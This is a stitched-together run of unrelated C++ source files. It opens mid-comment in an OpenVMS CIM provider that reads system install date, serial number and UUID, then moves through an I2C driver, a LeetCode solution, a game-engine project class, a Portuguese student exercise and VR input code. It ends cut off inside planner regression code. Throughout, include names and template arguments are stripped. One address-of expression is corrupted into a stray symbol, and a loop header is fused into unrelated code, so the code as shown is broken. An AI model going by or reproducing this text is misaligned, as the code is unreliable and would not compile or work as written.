string values to be displayed // for Caption , Description, PrimaryOwner, PrimaryOwnerContact, // PrimaryOwnerPager, InitialLoadInfo, SecondaryOwnerName, // SecondaryOwnerContact and SecondaryOwnerPager properties // // 28-Jun-06 // PTR 73-51-4, 73-51-6 and PTR 73-51-8, changes made to use temp file // instead of hsitory.out in GetInstallDate() // // 28-Jun-06 // PTR 73-51-16, changes made to obtaine correct serial number on I64 // /////////////////////////////////////////////////////////////////////////////// #include "ComputerSystemProvider.h" #include "ComputerSystem.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Verify that /main=posix_exit is set. This changes the return status values // of RTL calls such as system(). #ifndef _POSIX_EXIT #error "The compile switch /main=posix_exit is required." #endif // Changed to Fix PTR -73-51-16 #ifdef PEGASUS_PLATFORM_VMS_IA64_DECCXX #define hwrpb$b_sys_serialnum 72 #else #define hwrpb$b_sys_serialnum 64 #endif #define MAXHOSTNAMELEN 256 extern "C" { extern const long EXE$GPQ_HWRPB; } PEGASUS_USING_STD; PEGASUS_USING_PEGASUS; // Defines used in the file #define TIMEOUT 360000 // The default OperationalStatus #define OPENVMS_DEFAULT_OPERATIONAL_STATUS 2 // The default status description #define OPENVMS_DEFAULT_STATUS_DESCRIPTIONS \ "One or more components that make up this computer system have an " \ "OperationalStatus value of OK or Completed." typedef struct { uint32_t time_low; uint16_t time_mid; uint16_t time_hi_and_version; uint8_t clock_seq_hi_and_reserved; uint8_t clock_seq_low; uint8_t node[6]; }uuid_t; void translateLogical(char *logical, char *translatedName, int translatedNameSize) { typedef struct descrip { unsigned short dsc$w_length; // specific to descriptor class unsigned char dsc$b_dtype; // data type code unsigned char dsc$b_class; // descriptor class code const char *dsc$a_pointer; // address of first byte of data element } DESCRIP; typedef struct itmlst { unsigned short wItmLen; unsigned short wItmCod; const void *pItmBuf; unsigned short *pItmRetLen; } ITMLST; DESCRIP dsName = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0}; DESCRIP dsTable = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0}; char szResponse[LNM$C_NAMLENGTH+1]; unsigned short int wRespLen = 0; ITMLST itmGetLnm [2] = {sizeof(szResponse) -1, LNM$_STRING, &szResponse, &wRespLen, 0, 0, NULL, NULL}; if (NULL == logical || NULL == translatedName || 0 == translatedNameSize) { return; } // point the local descriptor to the logical name and translate it dsName.dsc$w_length = strlen(logical); dsName.dsc$a_pointer = logical; dsTable.dsc$a_pointer = "LNM$SYSTEM_TABLE"; dsTable.dsc$w_length = strlen(dsTable.dsc$a_pointer); unsigned char byAcMode = PSL$C_EXEC; unsigned long ulStatus = sys$trnlnm (0, &dsTable, &dsName, &byAcMode, itmGetLnm); if( ulStatus != SS$_NORMAL ) { if( ulStatus == SS$_NOLOGNAM ) { translatedName[0]='\0'; return; } else if( ulStatus == SS$_NOPRIV ) { translatedName[0]='\0'; return; } else { translatedName[0]='\0'; return; } } // "If an equivalence name does not exist... $TRNLNM returns the value 0 // in the return length address field of the item descriptor." szResponse[wRespLen] = '\0'; // append null terminator strncpy(translatedName, szResponse, translatedNameSize); } static void updateStatusAndDescription(); static String _hostName; static String _otherInfo; static String _serialNumber; static String _status; static Array _operationalStatus; static Array _statusDescriptions; ComputerSystem::ComputerSystem() { } ComputerSystem::~ComputerSystem() { } Boolean ComputerSystem::getCaption(CIMProperty& p) { // hardcoded // Changed to address PTR 73-51-23 p = CIMProperty(PROPERTY_CAPTION,String(CAPTION)); return true; } Boolean ComputerSystem::getDescription(CIMProperty& p) { // hardcoded // Changed to address PTR 73-51-23 p = CIMProperty(PROPERTY_DESCRIPTION,String(DESCRIPTION)); return true; } /* convertToCIMDateString converts a tm struct to a CIMDateTime formatted char *. -1 is retuned on error, 1 otherwise. */ int convertToCIMDateString(struct tm *t, char **time) { // Format the date. // Changed to address PTR 73-51-24 (*time) = (char *)malloc(80); sprintf(*time,"%04d%02d%02d%02d%02d%02d.000000%c%03d", t->tm_year + 1900, t->tm_mon + 1, t->tm_mday, t->tm_hour, t->tm_min, t->tm_sec, (timezone>0)?'-':'+', abs(timezone/60 - ( t->tm_isdst? 60:0 ))); return 1; } Boolean ComputerSystem::getInstallDate(CIMProperty& p) { Boolean bStatus; int status, istr; char record1[512], *rptr1=0; // Added to address PTR 73-51-4, 73-51-6 and 73-51-8 char HistFileBuffer[512]; pthread_t thread_num; char cmd[512]; // end of addition FILE *fptr1=0; unsigned __int64 bintime=0; unsigned short int timbuf[7], val=0; // Changed to address PTR 73-51-24 char *cimtime; struct tm timetm; struct tm *ptimetm=&timetm; time_t tme=0, tme1=0; char t_string[24]="", libdst; unsigned int retlen; unsigned long libop, libdayweek, libdayear; long dst_desc[2]; char log_string[]="SYS$TIMEZONE_DAYLIGHT_SAVING"; struct dsc$descriptor_s sysinfo; static $DESCRIPTOR(lnm_tbl,"LNM$SYSTEM"); struct { unsigned short wLength; unsigned short wCode; void* pBuffer; unsigned int* pRetLen; int term; } item_list; thread_num = tis_self(); sprintf(HistFileBuffer, "%s%s%x%s", "wbem_tmp:", "cshist_", thread_num->sequence, ".out"); sysinfo.dsc$b_dtype=DSC$K_DTYPE_T; sysinfo.dsc$b_class=DSC$K_CLASS_S; sysinfo.dsc$w_length=sizeof(t_string); sysinfo.dsc$a_pointer=t_string; strcpy(cmd, "pipe product show history openvms | search/nolog/nowarn/out="); strcat(cmd, HistFileBuffer); strcat(cmd, " sys$input install"); status = system(cmd); if (!WIFEXITED(status)) { bStatus = false; perror("system()"); goto done; } fptr1 = fopen(HistFileBuffer, "r"); if (fptr1) { while (fgets(record1, sizeof(record1), fptr1)) { for (istr=0; istr<=(sizeof(record1)-4); istr++) { if ((rptr1 = strstr(record1+istr,"-")) && !strncmp(rptr1+4,"-",1)) { break; } rptr1 = 0; } //Changed to address PTR 73-51-24 if (rptr1) { time(&tme); tme1 = mktime(ptimetm); /* get timezone */ strcpy(t_string, rptr1 - 2); if (t_string[11] == 10) { // a . // When the date; but not the time is provided, // fill in zeros. t_string[11] = ' '; t_string[12] = '0'; t_string[13] = '0'; t_string[14] = ':'; t_string[15] = '0'; t_string[16] = '0'; t_string[17] = ':'; t_string[18] = '0'; t_string[19] = '0'; } t_string[20] = '.'; t_string[21] = '0'; t_string[22] = '0'; t_string[23] = '0'; status = sys$bintim (&sysinfo, &bintime); if (!$VMS_STATUS_SUCCESS(status)) { bStatus = false; goto done; } libop=LIB$K_DAY_OF_WEEK; status=lib$cvt_from_internal_time (&libop,&libdayweek,&bintime); if (!$VMS_STATUS_SUCCESS(status)) { bStatus = false; goto done; } libop=LIB$K_DAY_OF_YEAR; status=lib$cvt_from_internal_time (&libop,&libdayear,&bintime); if (!$VMS_STATUS_SUCCESS(status)) { bStatus = false; goto done; } dst_desc[0] = strlen(log_string); dst_desc[1] = (long) log_string; item_list.wLength = 1; item_list.wCode = LNM$_STRING; item_list.pBuffer = &libdst; item_list.pRetLen = &retlen; item_list.term =0; status = sys$trnlnm (0,&lnm_tbl,&dst_desc,0,&item_list); if (!$VMS_STATUS_SUCCESS(status)) { bStatus = false; goto done; } status = sys$numtim(timbuf,&bintime); if (!$VMS_STATUS_SUCCESS(status)) { bStatus = false; goto done; } timetm.tm_sec = timbuf[5]; timetm.tm_min = timbuf[4]; timetm.tm_hour = timbuf[3]; timetm.tm_mday = timbuf[2]; timetm.tm_mon = timbuf[1]-1; timetm.tm_year = timbuf[0]-1900; timetm.tm_wday = libdayweek-1; timetm.tm_yday = libdayear-1; timetm.tm_isdst = 0; if (libdst != 48) { timetm.tm_isdst = 1; } //Changed to address PTR 73-51-24 status = convertToCIMDateString(ptimetm,&cimtime); if (!$VMS_STATUS_SUCCESS(status)) { bStatus = false; goto done; } CIMDateTime _installDate(cimtime); p = CIMProperty(PROPERTY_INSTALL_DATE, _installDate); bStatus = true; goto done; } // end if (rptr1 = strstr(record1,"Install")) } bStatus = false; goto done; } // end if (fptr1 = fopen(history.out, "r")) else { perror("fopen cshist_"); bStatus = false; goto done; } // Added to address PTR 73-51-4, 73-51-6 and 73-51-8 done: if (fptr1) { fclose(fptr1); fptr1 = 0; } remove(HistFileBuffer); return bStatus; } Boolean ComputerSystem::getCreationClassName(CIMProperty& p) { // can vary, depending on class p = CIMProperty(PROPERTY_CREATION_CLASS_NAME, String(CLASS_CIM_UNITARY_COMPUTER_SYSTEM)); return true; } Boolean ComputerSystem::getName(CIMProperty& p) { p = CIMProperty(PROPERTY_NAME,_hostName); return true; } Boolean ComputerSystem::getStatus(CIMProperty& p) { updateStatusAndDescription(); // return status string for this property p = CIMProperty(PROPERTY_STATUS, _status); return true; } Boolean ComputerSystem::getOperationalStatus(CIMProperty& p) { updateStatusAndDescription(); // return operational status array for this property p = CIMProperty(PROPERTY_OPERATIONAL_STATUS, _operationalStatus); return true; } Boolean ComputerSystem::getStatusDescriptions(CIMProperty& p) { updateStatusAndDescription(); // return status descriptions array for this property p = CIMProperty(PROPERTY_STATUS_DESCRIPTIONS, _statusDescriptions); return true; } Boolean ComputerSystem::getNameFormat(CIMProperty& p) { // hardcoded p = CIMProperty(PROPERTY_NAME_FORMAT,String(NAME_FORMAT)); return true; } Boolean ComputerSystem::getPrimaryOwnerName(CIMProperty& p) { // Changed to Adress PTR 73-51-124 char translated_name[260]="\0"; Array s; // PRIMARY OWNER details getting from logical "WBEM_PRIMARY_OWNER" // Calling the translateLogical() function to tranlate logical name // to exact value translateLogical("WBEM_PRIMARY_OWNER", translated_name,256); if(translated_name[0] != '\0') { s.append(translated_name); p = CIMProperty(PROPERTY_PRIMARY_OWNER_NAME,s); } else { // hardcoded // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_PRIMARY_OWNER_NAME,String("")); } return true; } Boolean ComputerSystem::setPrimaryOwnerName(const String&) { // not supported return false; } Boolean ComputerSystem::getPrimaryOwnerContact(CIMProperty& p) { // Changed to Adress PTR 73-51-124 char translated_value[260]="\0"; Array s; // PRIMARY OWNER CONTACT details getting from the // logical "WBEM_PRIMARY_OWNER_CONTACT" // Calling the translateLogical() function to tranlate logical name // to exact value translateLogical("WBEM_PRIMARY_OWNER_CONTACT", translated_value,256); if(translated_value[0] != '\0') { s.append(translated_value); p = CIMProperty(PROPERTY_PRIMARY_OWNER_CONTACT,s); } else { // "WBEM_PRIMARY_OWNER_CONTACT" is not defined // hardcoded // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_PRIMARY_OWNER_CONTACT,String("")); } return true; } Boolean ComputerSystem::setPrimaryOwnerContact(const String&) { // not supported return false; } Boolean ComputerSystem::getRoles(CIMProperty& p) { // not supported return false; } Boolean ComputerSystem::getOtherIdentifyingInfo(CIMProperty& p) { // return model for this property int status; char *temp_hwname =NULL,*temp =NULL; Array s; char hwname[32]; typedef struct { unsigned short wlength; unsigned short wcode; void *pbuffer; void *pretlen; } item_list; item_list itmlst3[2]; itmlst3[0].wlength = sizeof(hwname); itmlst3[0].wcode = SYI$_HW_NAME; itmlst3[0].pbuffer = hwname; itmlst3[0].pretlen = NULL; itmlst3[1].wlength = 0; itmlst3[1].wcode = 0; itmlst3[1].pbuffer = NULL; itmlst3[1].pretlen = NULL; // Hardware name we will get like this "HP rx3600 (1.40GHz/6.0MB)" status = sys$getsyiw (0, 0, 0, itmlst3, 0, 0, 0); if ($VMS_STATUS_SUCCESS(status)) { // Changed to Adress PTR 73-51-122 #ifdef PEGASUS_PLATFORM_VMS_IA64_DECCXX _otherInfo.assign(hwname); //fixing the PTR 73-51-122 //experted hardware name is like this "HP rx3600" temp_hwname=&hwname[3]; //pointing the 4th charecter of string //Searching for space from 4th charecter of the string and putting '\0' temp=strchr(temp_hwname,' '); if (NULL != temp) { *temp = '\0'; } temp=strchr(temp_hwname,'\t'); if (NULL != temp) { *temp = '\0'; } _otherInfo.assign(temp_hwname); _otherInfo = String("ia64 hp server ") + _otherInfo; #else _otherInfo.assign(hwname); #endif s.append(_otherInfo); p = CIMProperty(PROPERTY_OTHER_IDENTIFYING_INFO,s); return true; } else { return false; } } Boolean ComputerSystem::getIdentifyingDescriptions(CIMProperty& p) { // hardcoded Array s; s.append("Model"); p = CIMProperty(PROPERTY_IDENTIFYING_DESCRIPTIONS,s); return true; } Boolean ComputerSystem::getDedicated(CIMProperty& p) { // not supported return false; } Boolean ComputerSystem::getResetCapability(CIMProperty& p) { // not supported return false; } Boolean ComputerSystem::getPowerManagementCapabilities(CIMProperty& p) { // hardcoded Array s; s.append(1); p = CIMProperty(PROPERTY_POWER_MANAGEMENT_CAPABILITIES, s); return true; } Boolean ComputerSystem::getInitialLoadInfo(CIMProperty& p) { long status, dst_desc[2]; char log_string[]="SYS$SYSDEVICE"; char res_string[256]="", *ptr1=0, *ptr2=0; unsigned int retlen; static $DESCRIPTOR(lnm_tbl,"LNM$SYSTEM"); struct { unsigned short wLength; unsigned short wCode; void* pBuffer; unsigned int* pRetLen; int term; } item_list; dst_desc[0] = strlen(log_string); dst_desc[1] = (long) log_string; item_list.wLength = sizeof(res_string); item_list.wCode = LNM$_STRING; item_list.pBuffer = res_string; item_list.pRetLen = &retlen; item_list.term =0; status = sys$trnlnm (0,&lnm_tbl,&dst_desc,0,&item_list); if ($VMS_STATUS_SUCCESS(status)) { ptr1 = res_string; ptr2 = strchr(ptr1,':'); if (ptr2) res_string[ptr2-ptr1] = '\0'; // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_INITIAL_LOAD_INFO, String(res_string)); return true; } else { // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_INITIAL_LOAD_INFO, String("Unknown")); return false; } } Boolean ComputerSystem::getLastLoadInfo(CIMProperty& p) { // ATTN: not sure yet return false; } Boolean ComputerSystem::getPowerManagementSupported(CIMProperty& p) { // hardcoded p = CIMProperty(PROPERTY_POWER_MANAGEMENT_SUPPORTED,false); // on PA-RISC!! return true; } Boolean ComputerSystem::getPowerState(CIMProperty& p) { // hardcoded /* ValueMap {"1", "2", "3", "4", "5", "6", "7", "8"}, Values {"Full Power", "Power Save - Low Power Mode", "Power Save - Standby", "Power Save - Other", "Power Cycle", "Power Off", "Hibernate", "Soft Off"} */ p = CIMProperty(PROPERTY_POWER_STATE,Uint16(1)); // Full Power on PA-RISC!! return true; } Boolean ComputerSystem::getWakeUpType(CIMProperty& p) { // not supported return false; } Boolean ComputerSystem::getPrimaryOwnerPager(CIMProperty& p) { // hardcoded // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_PRIMARY_OWNER_PAGER,String("")); return true; } Boolean ComputerSystem::setPrimaryOwnerPager(const String&) { // not supported return false; } Boolean ComputerSystem::getSecondaryOwnerName(CIMProperty& p) { // hardcoded // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_SECONDARY_OWNER_NAME,String("")); return true; } Boolean ComputerSystem::setSecondaryOwnerName(const String&) { // not supported return false; } Boolean ComputerSystem::getSecondaryOwnerContact(CIMProperty& p) { // hardcoded // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_SECONDARY_OWNER_CONTACT,String("")); return true; } Boolean ComputerSystem::setSecondaryOwnerContact(const String&) { // not supported return false; } Boolean ComputerSystem::getSecondaryOwnerPager(CIMProperty& p) { // hardcoded // Changed to Adress PTR 73-51-23 p = CIMProperty(PROPERTY_SECONDARY_OWNER_PAGER,String("")); return true; } Boolean ComputerSystem::setSecondaryOwnerPager(const String&) { // not supported return false; } int GetSerNum (char *pSerNum) { void *phwrpb; phwrpb = (void *) ((int)EXE$GPQ_HWRPB+hwrpb$b_sys_serialnum); strncpy(pSerNum,(char*)phwrpb,16); return(SS$_NORMAL); } Boolean ComputerSystem::getSerialNumber(CIMProperty& p) { long status = SS$_NORMAL, i; char lrSerNum[16]=""; char lSerNum[16]=""; struct k1_arglist { // kernel call arguments long lCount; // number of arguments char *pSerNum; } getsernumkargs = {1}; // init 1 argument getsernumkargs.pSerNum = lrSerNum; status = sys$cmkrnl(GetSerNum,&getsernumkargs); if ($VMS_STATUS_SUCCESS(status)) { for (i=0;itime_low=uuid_system->time_low & 0XFFFFFFFF; uuid_system->time_mid =uuid_system->time_mid& 0XFFFF; uuid_system->time_hi_and_version = uuid_system->time_hi_and_version & 0XFFFF; uuid_system->clock_seq_hi_and_reserved = uuid_system->clock_seq_hi_and_reserved & 0XFF; uuid_system->clock_seq_low= uuid_system->clock_seq_low & 0XFF; for(i=0; i < 6; i++)uuid_system->node[i]=uuid_system->node[i] & 0XFF; return 1; } return 0; } Boolean ComputerSystem::getIdentificationNumber(CIMProperty& p) { int status; String uidStr; char uidBuffer[36]; uuid_t *systemUUID; systemUUID =(uuid_t *) calloc(1,sizeof(uuid_t)); if (systemUUID ==NULL ) { return false; } // calling system_uuid function with passing pointer of stucture // "uuid_t" as a argument // getting the system UUID in the format of stucture "uuid_t" status = system_uuid(systemUUID); if(status ==1) //checking the status for success { // Putting the UUID in uidBuffer with expected // format "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" sprintf(uidBuffer,"%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X", systemUUID->time_low, systemUUID->time_mid, systemUUID->time_hi_and_version, systemUUID->clock_seq_hi_and_reserved, systemUUID->clock_seq_low, systemUUID->node[0], systemUUID->node[1], systemUUID->node[2], systemUUID->node[3], systemUUID->node[4], systemUUID->node[5]); uidStr.assign(uidBuffer); p = CIMProperty(PROPERTY_IDENTIFICATION_NUMBER, uidStr); free(systemUUID); return true; } else { //faild the system_uuid() function to fill the UUID in the structer free(systemUUID); return false; } } Boolean ComputerSystem::getElementName(CIMProperty& p) { // We're just going to re-use the caption p = CIMProperty(PROPERTY_ELEMENTNAME, String(CAPTION)); return true; } void ComputerSystem::initialize(void) { char hostName[PEGASUS_MAXHOSTNAMELEN + 1]; struct addrinfo *info, hints; int rc; if (gethostname(hostName, sizeof(hostName)) != 0) { _hostName.assign("Unknown"); return; } hostName[sizeof(hostName)-1] = 0; // Now get the official hostname. If this call fails then return // the value from gethostname(). // Note: gethostbyname() is not reentrant and VMS does not // have gethostbyname_r() so use getaddrinfo(). info = 0; memset (&hints, 0, sizeof(struct addrinfo)); hints.ai_flags = AI_CANONNAME; hints.ai_family = AF_INET; hints.ai_protocol = IPPROTO_TCP; hints.ai_socktype = SOCK_STREAM; rc = System::getAddrInfo(hostName, 0, &hints, &info); if ((!rc) && (info) && (info->ai_canonname)) { // Note: if assign throws an exception, freeaddrinfo is not called. _hostName.assign(info->ai_canonname); } else { _hostName.assign(hostName); } if (info) { freeaddrinfo(info); } return; } String ComputerSystem::getHostName(void) { return _hostName; } // Function to get the _status, _operationalStatus, _statusDescriptions // by doing an enumerate instance on HP_HealthState static void updateStatusAndDescription() { Boolean useDefaultStatus = true; static time_t previousTime = 0; static time_t currentTime = 0; int diffTime = 0; // If request has come within 1 minute interval, do not refresh time (¤tTime); diffTime = currentTime - previousTime; if (diffTime >= 0 && diffTime <= 60) { return; } else { previousTime = currentTime; } try { Array instanceNames; CIMInstance returnedInstance; Array propertyNames; propertyNames.append (PROPERTY_STATUS); propertyNames.append (PROPERTY_OPERATIONAL_STATUS); propertyNames.append (PROPERTY_STATUS_DESCRIPTIONS); CIMPropertyList propertyList; propertyList.set (propertyNames); _status.clear(); _operationalStatus.clear(); _statusDescriptions.clear(); CIMValue status; CIMValue operationalStatus; CIMValue statusDescriptions; CIMClient hpcsclient; hpcsclient.setTimeout(TIMEOUT); hpcsclient.connectLocal(); instanceNames = hpcsclient.enumerateInstanceNames("root/cimv2", CIMName("HP_HealthState")); if ( instanceNames.size() > 0 ) { for (Uint32 i = 0; i < instanceNames.size(); i++) { if (instanceNames[i].getClassName(). equal(CIMName("HP_HealthState"))) { returnedInstance = hpcsclient.getInstance("root/cimv2", instanceNames[i], true, false, false, propertyList); Uint32 statusIndex = returnedInstance.findProperty(PROPERTY_STATUS); Uint32 operationalStatusIndex = returnedInstance.findProperty( PROPERTY_OPERATIONAL_STATUS); Uint32 statusDescriptionsIndex = returnedInstance.findProperty( PROPERTY_STATUS_DESCRIPTIONS); if (statusIndex != PEG_NOT_FOUND && operationalStatusIndex != PEG_NOT_FOUND && statusDescriptionsIndex != PEG_NOT_FOUND) { status.assign(returnedInstance. getProperty(statusIndex).getValue()); operationalStatus.assign(returnedInstance. getProperty(operationalStatusIndex).getValue()); statusDescriptions.assign(returnedInstance. getProperty(statusDescriptionsIndex).getValue()); if (!status.isNull() && !operationalStatus.isNull() && !statusDescriptions.isNull()) { // Set the properties, read from HP_HealhState. status.get(_status); operationalStatus.get(_operationalStatus); statusDescriptions.get(_statusDescriptions); useDefaultStatus = false; } } break; } } } } catch (...) { // Use the default values if any exception is encountered. } if (useDefaultStatus) { _status.clear(); _operationalStatus.clear(); _statusDescriptions.clear(); // hardcoded. _status = String(STATUS); _operationalStatus.append(Uint16(OPENVMS_DEFAULT_OPERATIONAL_STATUS)); _statusDescriptions.append(String(OPENVMS_DEFAULT_STATUS_DESCRIPTIONS)); } } /* I2CDevice.cpp */ //---------------------------------------------------------------------------------------- // // Project: CCore 2.00 // // Tag: Target/BeagleBoneBlack // // License: Boost Software License - Version 1.0 - August 17th, 2003 // // see http://www.boost.org/LICENSE_1_0.txt or the local copy // // Copyright (c) 2016 . All rights reserved. // //---------------------------------------------------------------------------------------- #include namespace CCore { /* class I2CDevice */ const Unid I2CDevice::TypeUnid={{0xD22D'A854,0x0F24'100E,0x1512'97AD,0xEB8F'D7B9,0x5504'ADAF,0x17EE'83F6,0xC2C9'5F4E,0xCFFA'99D7}}; void I2CDevice::setSlave(uint8 slave_address_) { if( slave_address!=slave_address_ ) { dev.setSlave7(slave_address_); slave_address=slave_address_; } } I2CDevice::I2CDevice(Dev::I2CInstance instance) : mutex("I2CDevice"), dev(instance) { dev.enable(); dev.reset(); dev.init_fast(); } I2CDevice::~I2CDevice() { } void I2CDevice::read(uint8 slave_address,PtrLen buf) { Mutex::Lock lock(mutex); setSlave(slave_address); dev.read(buf); } void I2CDevice::write(uint8 slave_address,PtrLen buf) { Mutex::Lock lock(mutex); setSlave(slave_address); dev.write(buf); } void I2CDevice::exchange(uint8 slave_address,PtrLen out_buf,PtrLen in_buf) { Mutex::Lock lock(mutex); setSlave(slave_address); dev.exchange(out_buf,in_buf); } } // namespace CCore 1-10 class Solution { public: bool lemonadeChange(vector& bills) { int five=0, ten = 0; for(auto i: bills){ if(i==5) five++; else if(i==10){ ten++; if(five>0){ five--; } else return false; } else if(i==20){ if(ten>0 and five>0){ five--; ten--; } else if(five>=3){ five-=3; } else return false; } } return true; } }; project/Project.cpp /* * Copyright 2015 * File: Project.cpp * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "Project.h" #include Project::Project() : m_title(""), m_script(""), m_valid(false) {} Project::~Project() {} void Project::create(const std::string& title) { m_title = title; } bool Project::load(const std::string& filename) { if(Tokenizer::getFileExtension(filename) != "vproj") { return false; } LuaScript script(filename); m_title = script.get("project.name"); m_script = script.get("project.script"); script.close(); m_project_file = filename; return (m_valid = true); } bool Project::save(const std::string& path) { save(path, false); } bool Project::save(const std::string& path, bool empty) { std::string vproj = StringUtils::simplify(m_title); std::string folder = path + "/" + vproj; // examples/test FileIO::createDirectory(folder); FileIO::createDirectory(folder+"/maps"); FileIO::createDirectory(folder+"/meshes"); FileIO::createDirectory(folder+"/scripts"); FileIO::createDirectory(folder+"/shaders"); FileIO::createDirectory(folder+"/sounds"); if(!empty) m_script = "scripts/main.lua"; // create project (*.vproj) file std::string proj_file = folder + '/' + vproj + ".vproj"; FILE* file = fopen(proj_file.c_str(), "wb"); if(!file) return false; fprintf(file, "project = {\n"); fprintf(file, "\tname = \"%s\",\n", m_title.c_str()); fprintf(file, "\tscript = \"%s\"\n", m_script.c_str()); fprintf(file, "}\n"); fclose(file); if(!empty) { // create script (*.lua) file std::string script_file = folder + "/scripts/main.lua"; file = fopen(script_file.c_str(), "wb"); if(!file) return false; std::string content = "scene = Scene()\n\n" "-- Use this for initialization\n" "function onInit()\n\n" "end\n\n" "-- Update is called once per frame\n" "function onUpdate()\n\n" "end\n\n" "-- Draw debug gizoms here\n" "function onDraw()\n\n" "end\n"; fprintf(file, "%s", content.c_str()); fclose(file); //create material (*.mat) file std::string mat_file = folder + "/scripts/main.mat"; file = fopen(mat_file.c_str(), "wb"); if(!file) return false; content = "-- Material file\n" "textures = {}\n" "cubemaps = {}\n" "materials = {}\n"; fprintf(file, content.c_str()); fclose(file); } Console::log("Created project %s", m_title.c_str()); return true; } bool Project::isValid() { return m_valid; } Exercicios2/classes2.cpp #include using namespace std; class carro{ private: int ano; float valor, km; public: //Construtor carro(int a=0, float v=-1, float k = -1) { ano = a; valor = v; km = k; } // ano void setano(int a) { ano = a; //this->ano = ano; } int getano() { return ano; } // Valor void setvalor(float v) { valor = v; } float getvalor() { return valor; } // km void setkm(float k) { km = k; } float getkm() { return km; } }; int main() { carro palio; palio.setano(1995); palio.setvalor(10000); palio.setkm(150000); cout << "Palio: \n"; cout << "Ano: " << palio.getano() << endl; cout << "Valor: " << palio.getvalor() << endl; cout << "Quilometragem: " << palio.getkm() << endl << endl; carro celta; celta.setano(2000); celta.setvalor(12000); celta.setkm(200000); cout << "Celta: \n"; cout << "Ano: " << celta.getano() << endl; cout << "Valor: " << celta.getvalor() << endl; cout << "Quilometragem: " << celta.getkm() << endl << endl; carro ferrari; ferrari.setano(2020); ferrari.setvalor(300000); cout << "Ferrari: \n"; cout << "Ano: " << ferrari.getano() << endl; cout << "Valor: " << ferrari.getvalor() << endl; cout << "Quilometragem: " << ferrari.getkm() << endl << endl; carro mercedes(2021, 500000); cout << "Mercedes: \n"; cout << "Ano: " << mercedes.getano() << endl; cout << "Valor: " << mercedes.getvalor() << endl; cout << "Quilometragem: " << mercedes.getkm() << endl; return 0; }GoldenHammerSoftware/GHsrc/GHAndroid/GHOvrGoSystemController.cpp #ifdef GH_OVR_GO #include "GHOvrGoSystemController.h" #include "GHOvrGoFrameState.h" #include "GHInputState.h" #include "GHPlatform/GHDebugMessage.h" GHOvrGoSystemController::GHOvrGoSystemController(GHOvrGoFrameState& frameState, GHInputState& inputState, const GHTransform& hmdOrigin) : mFrameState(frameState) , mGHInputState(inputState) , mOvrInputState(frameState) , mInputTranslator(frameState, inputState, mOvrInputState, hmdOrigin) { } GHOvrGoSystemController::~GHOvrGoSystemController(void) { } void GHOvrGoSystemController::onActivate(void) { } void GHOvrGoSystemController::onDeactivate(void) { } void GHOvrGoSystemController::update(void) { updateOvrFrameState(); pollInput(); } void GHOvrGoSystemController::updateOvrFrameState(void) { // maybe move this code into frame state? if (!mFrameState.mOvrMobile) { mFrameState.mIsTrackingReady = false; return; } mFrameState.mFrameId++; mFrameState.mPredictedDisplayTime = vrapi_GetPredictedDisplayTime(mFrameState.mOvrMobile, mFrameState.mFrameId); mFrameState.mPredictedTracking = vrapi_GetPredictedTracking2(mFrameState.mOvrMobile, mFrameState.mPredictedDisplayTime); mFrameState.mIsTrackingReady = mFrameState.mPredictedTracking.Status & VRAPI_TRACKING_STATUS_ORIENTATION_TRACKED; } void GHOvrGoSystemController::pollInput(void) { mOvrInputState.enumerateInputDevices(); mInputTranslator.update(); } #endifplanners/PRP/src/search/policy-repair/regression.cc #include "regression.h" #include "policy.h" void RegressionStep::dump() const { cout << "Regression Step (" << this << ")" << endl; cout << " Distance: " << distance << endl; cout << " Relevant: " << relevant << endl; cout << " SC: " << is_sc << endl; if (!is_goal) { cout << " -{ Operator }-" << endl; op->dump(); } else { cout << " -{ Goal }-" << endl; } cout << "\n -{ State }-" << endl; state->dump_pddl(); cout << "" << endl; } string RegressionStep::get_name() { if (is_goal) return "goal / SC / d=0"; else return op->get_nondet_name() + " / " + (is_sc ? "SC" : "NSC") + " / d=" + static_cast( &(ostringstream() << distance) )->str(); } void NondetDeadend::dump() const { cout << "Non-deterministic deadend:" << endl; cout << "Operator: " << g_operators[op_index].get_name() << endl; cout << " -{ State }-" << endl; state->dump_pddl(); cout << "" << endl; } string NondetDeadend::get_name() { return (*(g_nondet_mapping[op_index]))[0]->get_nondet_name(); } int NondetDeadend::get_index() { return op_index; } int PolicyItem::generality() { if (-1 != _generality) { _generality = 0; for (int i = 0; i < g_variable_name.size(); i++) { if (-1 == (*state)[i]) { _generality++; } } } return _generality; } void RegressableOperator::dump() const { cout << "Regressable operator:" << endl; cout << " -{ Operator }-" << endl; op->dump(); cout << " -{ State }-" << endl; state->dump_pddl(); cout << "" << endl; } string RegressableOperator::get_name() { return op->get_name(); } bool RegressableOperator::check_relevance(const PartialState &ps) { bool debug = false; for (int i = 0; i < op->get_pre_post().size(); i++) { if (-1 != ps[op->get_pre_post()[i].var]) return true; } for (int i = 0; i < op->get_prevail().size(); i++) { if (-1 != ps[op->get_prevail()[i].var]) return true; } if (debug) { cout << "\nReturning false for check_relevance using operator..." << endl; op->dump(); cout << "...and partial state..." << endl; ps.dump_pddl(); } return false; } list perform_regression(const SearchEngine::Plan &plan, RegressionStep *goal_step, int distance, bool create_goal) { g_timer_regression.resume(); list reg_steps; PartialState *s = new PartialState(g_initial_state()); vector states; states.push_back(s); for (int i = 0; i < plan.size(); i++) { s = new PartialState(*s, *plan[i]); states.push_back(s); } if (g_fullstate) { if (create_goal) { PartialState *g = new PartialState(*(goal_step->state)); reg_steps.push_back(new RegressionStep(g, distance)); } else { 